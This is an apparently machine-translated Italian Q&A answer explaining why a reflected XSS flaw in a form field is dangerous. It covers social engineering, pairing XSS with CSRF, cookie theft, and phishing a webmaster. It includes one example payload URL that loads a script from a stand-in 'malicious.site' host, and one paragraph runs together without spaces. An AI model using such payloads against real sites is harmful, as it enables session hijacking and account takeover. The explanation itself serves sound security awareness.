Tutti gli errori sono riflessi in XSS?

Uno stratagemma di ingegneria sociale comune che utilizza tali attacchi xss riflessivi è per indurre gli utenti a inserire codice javascript nascosto nella casella di input. Di solito con la scusa che sarebbe stato un trucco segreto fare qualcosa di interessante su quel sito. Ma ciò che effettivamente fa è rubare il cookie di accesso dell'utente e scrivere un messaggio a tutti sulla loro lista di amici dicendo loro di provare anche il "codice segreto".

Un altro uso di tale vulnerabilità XSS riflessa consiste nel combinarlo con un attacco di falsa richiesta tra siti . Un utente malintenzionato crea un modulo su un sito Web che controlla e lo invia allo stesso URL sul sito Web di destinazione a cui il modulo vulnerabile invia. Avrebbero quindi attirare la loro vittima sul loro sito web. La vittima non ha bisogno di eseguire un'azione sul sito web dell'attaccante, perché è possibile inviare il modulo automaticamente su pageload utilizzando javascript. Funziona solo a condizione che 1. il modulo vulnerabile venga elaborato lato server e 2. il sito Web vulnerabile non utilizzi i metodi standard per impedire gli attacchi CSRF (convalida l'intestazione Referer dell'utente per le richieste POST , usa un sane configurazione CORS per XmlHttpRequest 's).

Dovresti segnalarlo come un bug anche se non riesci a trovare un exploit? Decisamente. Non è certamente un comportamento intenzionale e un segno di codice errato.

Questo può essere assolutamente dannoso, è sicuramente un bug di sicurezza e dovrebbe essere risolto.

Il fatto che non ci siano query sull'URL o che i dati non siano salvati sul server non ha importanza. Nessuna di queste cose è ciò che rende pericoloso XSS. La parte che rende pericoloso XSS è esattamente ciò che hai trovato: parte della richiesta può essere eseguita dal browser come javascript nella pagina. Ecco come sarebbe un attacco, a seconda di come la pagina si comporta.

Immagina ad esempio che l'input che hai trovato assomigli a questo nel codice HTML:

Your Name: <input type="text" name="name">

Tu (sembra) metti un po 'di javascript in questo modulo, premi invio, e il tuo javascript è stato eseguito quando sei tornato alla pagina. In altre parole, il parametro name è vulnerabile all'iniezione XSS. Nello scenario migliore (per l'utente malintenzionato), la pagina in questione mescola il corpo POST e i dati GET, nel qual caso questo parametro name è vulnerabile indipendentemente dal fatto che sia stato inviato un modulo. In tal caso, puoi creare un payload che verrà eseguito da qualcuno semplicemente facendo clic su un link:

http://vulnerable-site.com/register?name=<script type="text/javascript" src="http://malicious.site/attack.js">

Quandounutentefaclicsuquestolink,loportasulsitoWeb,siverifical'attaccoXSSriflessoeorahaijavascriptchecontrollil'esecuzionesulbrowserdellavittima.Cosatiprende?Larispostaèsemplice:tutto.Ilprimopassocomuneèguardareinanticipoilsitoecapirecomevengonoarchiviatelecredenzialidiautenticazione(disolitoinuncookie).Seilflaghttp-onlynonèimpostatosulcookie,ciòchel'utentemalintenzionatopuòfareècheilsuojavascriptestraeilcontenutodeicookieeliinviaaunserverchecontrolla.Il99%deicasiincuiicookiediautenticazionehannounIDdisessione,eunavoltachehail'IDdisessionepuoiaccederecomepersonasenzaproblemi.

Quindilaprossimacosachefaièprendereiltuolinkcherubacredenziali,inviaun'emailall'indirizzoemaildelwebmasterdicendo:"Ehi, qualcosa sul tuo sito si è rotto quando ho fatto X. Ecco un link alla pagina che rotto per me ". Quindi, se la persona fa clic sul link, ruba automaticamente le credenziali e potenzialmente ottiene l'accesso amministrativo al sito.

Certo, è un vettore di attacco a più fasi, e ci sono delle ipotesi lungo la strada che possono far sì che non funzioni, ma il punto è che anche cose apparentemente innocue come questa sono molto pericolose , specialmente nel contesto di un sito con sicurezza generalmente scarsa. A volte quello che sembra un piccolo crack è in realtà abbastanza grande da far passare un bus, una volta comprese le implicazioni.